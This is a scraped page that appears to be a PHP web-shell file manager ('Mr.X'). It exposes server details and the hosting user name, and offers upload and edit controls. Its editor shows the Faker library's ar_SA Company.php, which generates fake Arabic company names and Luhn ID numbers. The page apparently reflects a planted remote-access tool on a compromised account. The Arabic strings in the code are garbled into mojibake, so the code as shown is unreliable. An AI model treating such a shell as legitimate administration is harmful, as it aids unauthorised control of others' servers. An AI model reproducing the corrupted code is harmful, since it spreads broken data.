🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:Company.php
<?php namespace Faker\Provider\ar_SA; use Faker\Calculator\Luhn; class Company extends \Faker\Provider\Company { protected static $formats = [ '{{lastName}} {{companySuffix}}', '{{companyPrefix}} {{lastName}} {{companySuffix}}', '{{companyPrefix}} {{lastName}}', ]; protected static $bsWords = [ [], ]; protected static $catchPhraseWords = [ ['الخدمات', 'الØÙ„ول', 'الانظمة'], [ 'الذهبية', 'الذكية', 'المتطورة', 'المتقدمة', 'الدولية', 'المتخصصه', 'السريعة', 'المثلى', 'الابداعية', 'المتكاملة', 'المتغيرة', 'المثالية', ], ]; protected static $companyPrefix = ['شركة', 'مؤسسة', 'مجموعة', 'مكتب', 'أكاديمية', 'معرض']; protected static $companySuffix = ['وأولاده', 'للمساهمة Ø§Ù„Ù…ØØ¯ÙˆØ¯Ø©', ' ذ.Ù….Ù…', 'مساهمة عامة', 'وشركائه']; /** * @example 'مؤسسة' * * @return string */ public function companyPrefix() { return static::randomElement(self::$companyPrefix); } /** * @example 'الØÙ„ول المتقدمة' */ public function catchPhrase() { $result = []; foreach (static::$catchPhraseWords as &$word) { $result[] = static::randomElement($word); } return implode(' ', $result); } /** * @example 'integrate extensible convergence' */ public function bs() { $result = []; foreach (static::$bsWords as &$word) { $result[] = static::randomElement($word); } return implode(' ', $result); } /** * example 7001010101 */ public static function companyIdNumber() { $partialValue = static::numerify(700 . str_repeat('#', 6)); return Luhn::generateLuhnNumber($partialValue); } }
Save Changes
Cancel
Create New File
Create New Folder